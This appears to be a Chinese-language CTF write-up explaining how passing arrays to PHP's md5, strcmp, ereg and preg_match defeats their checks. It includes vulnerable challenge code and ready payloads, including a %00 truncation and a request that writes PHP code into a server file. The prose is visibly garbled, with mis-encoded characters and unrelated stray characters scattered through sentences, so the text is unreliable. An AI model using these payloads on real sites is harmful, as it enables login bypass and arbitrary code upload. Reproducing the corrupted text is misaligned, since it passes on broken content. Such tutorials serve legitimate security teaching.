題外話
下面的每一個(gè)標(biāo)題都包含著一道ctf題目固逗,推薦一邊做題一邊看……
0x01 數(shù)組繞過(guò)md5判斷
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
如果傳入md5函數(shù)的參數(shù)為數(shù)組類型,則返回null趾浅,null===null
初肉,因此可以通過(guò)數(shù)組可以繞過(guò) ===
md5判斷
0x02 數(shù)組繞過(guò)strcmp
$pass=@$_POST['pass'];
$pass1=***********;//被隱藏起來(lái)的密碼
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
strcmp函數(shù)用于字符串的比較
int strcmp ( string $str1 , string $str2 )
返回值:如果
str1
小于str2
返回 < 0厢钧; 如果str1
大于str2
返回 > 0;如果兩者相等睹逃,返回 0盗扇。
- 5.2 中是將兩個(gè)參數(shù)先轉(zhuǎn)換成string類型。
- 5.3.3 以后沉填,當(dāng)比較數(shù)組和字符串的時(shí)候疗隶,返回是0。
- 5.5 中如果參數(shù)不是string類型拜轨,直接return了
存在以下情況
strcmp("foo", array()) => NULL + PHP Warning strcmp("foo", new stdClass) => NULL + PHP Warning strcmp(function(){}, "") => NULL + PHP Warning
因此post提交pass[]=aa抽减,通過(guò)數(shù)組繞過(guò)strcmp。
0x03 數(shù)組繞過(guò)ereg
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必須輸入數(shù)字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年橄碾,繼續(xù)努力吧啊~';
}
ereg函數(shù)的漏洞 :
存在%00截?cái)啵ㄒ驯籶reg_match替代)
輸入?yún)?shù)為數(shù)組時(shí)返回值為null
payload:
- ?nctf=111%00%23biubiubiu
- ?nctf[]=aa
0x04 php的弱類型+數(shù)組繞過(guò)正則
function is_valid($title, $data)
{
$data = $title . $data;
return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
}
function write_cache($title, $content)
{
$dir = changedir(CACHE_DIR . get_username() . '/');
if(!is_dir($dir)) {
mkdir($dir);
}
ini_set('open_basedir', $dir);
if (!is_valid($title, $content)) {
exit("title or content error");
}
$filename = "{$dir}{$title}.php";
file_put_contents($filename, $content);
ini_set('open_basedir', __DIR__ . '/');
}
preg_match()返回
pattern
的匹配次數(shù)卵沉。 它的值將是0次(不匹配)或1次,因?yàn)閜reg_match()在第一次匹配后 將會(huì)停止搜索法牲。preg_match_all()不同于此史汗,它會(huì)一直搜索subject
直到到達(dá)結(jié)尾。 如果發(fā)生錯(cuò)誤preg_match()返回 FALSE拒垃。
preg_match本身并沒(méi)有什么問(wèn)題停撞,但是在正則匹配之前,$title
和$content
進(jìn)行了字符串連接悼瓮。得益于PHP的弱類型特性戈毒,數(shù)組會(huì)被強(qiáng)制轉(zhuǎn)換成字符串,也就是Array
横堡,Array肯定是滿足正則\A[ _a-zA-Z0-9]+\z
的埋市,所以不會(huì)被攔截。
file_put_contents函數(shù)可以處理數(shù)組命贴,所以構(gòu)造payload:?title=s&content[]=<?php phpinfo();?>
此文章側(cè)重于數(shù)組繞過(guò)部分的講解道宅,本題完整題解詳見(jiàn) 國(guó)家保衛(wèi)者
>> 濃縮的都是精華
md5(array()) = null
sha1(array()) = null
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null